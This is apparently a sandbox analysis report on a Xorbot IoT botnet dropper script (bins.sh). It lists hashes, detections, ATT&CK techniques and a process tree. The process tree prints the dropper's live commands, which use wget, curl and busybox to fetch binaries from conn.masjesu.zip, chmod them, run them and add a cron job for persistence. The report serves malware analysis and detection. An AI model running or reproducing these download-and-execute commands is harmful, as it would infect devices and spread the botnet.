xorbot | ffb51619f1efb0f87e5e75e7cd498cd8d80c049d07b821f83b3385cad45acb84

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 09:00

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General

Target

bins.sh
Size

10KB
MD5

6fabcc812d0922db6c4f85ee41554bb8
SHA1

6990196753003a0019eb7fd54ce7669dc28e1ce2
SHA256

ffb51619f1efb0f87e5e75e7cd498cd8d80c049d07b821f83b3385cad45acb84
SHA512

c73c9f0896fd6274600bda9d0f047435578793c2ad71e2be682c615afff82b0dc09bfe59fbfe4904b9d15ab1247a6310ebd1f324f15479aac96fef76af9953d3
SSDEEP

192:CFj0rsk8cNUkQceCrt5H1l8dJ7t5lAk8IUkQceCzS:CB05NUkQceCj1edPUkQceC2

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1765) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
712	chmod
737	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	713	bins.sh
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	739	bins.sh

Renames itself 1 IoCs

pid	Process
740	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ly2K78	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/326/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/345/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/797/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/922/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/771/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/905/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/927/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/985/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/991/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1001/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1018/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/7/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/825/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/848/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/865/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/916/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/984/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1023/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/98/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/109/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/291/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/850/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/899/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/931/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/932/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/947/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/960/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1027/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/137/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/754/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/876/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/889/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/935/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/987/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/998/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1024/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/11/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/26/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/805/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/866/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/941/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1014/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/42/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/281/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/956/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/964/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1053/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/802/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/834/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/843/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/934/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1040/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/818/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/959/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/979/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/999/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1047/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/854/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/887/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/971/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/1021/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/767/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/804/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/938/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
709	busybox
717	wget
728	curl
735	busybox
753	wget
754	curl
681	wget
691	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	wget
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	curl
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	busybox
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	wget
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	curl
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:674
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:679
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /bin/chmod
  chmod 777 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  ./6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:713
- /bin/rm
  rm 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  ./HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:739
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:741
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:742
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:744
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:746
- /bin/rm
  rm HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  - System Network Configuration Discovery
  PID:754

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.ly2K78

Filesize
210B

MD5
06764c557c35627777378eb207e980bc

SHA1
77eae38157e9ee9c28dcae5b29b0b79ea3d45cdd

SHA256
6c4cbb07e05248100deeae3256c2b765ab16205da317b62fc8ff6a859da5c508

SHA512
95ff42eadd41143e2d4058049881725b8395c9f23f43ae503ad8b634af449aa5f29c9b590b28ab467a1b87c2c0d69accd0c153ee6c3800b52925b3c130985054

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads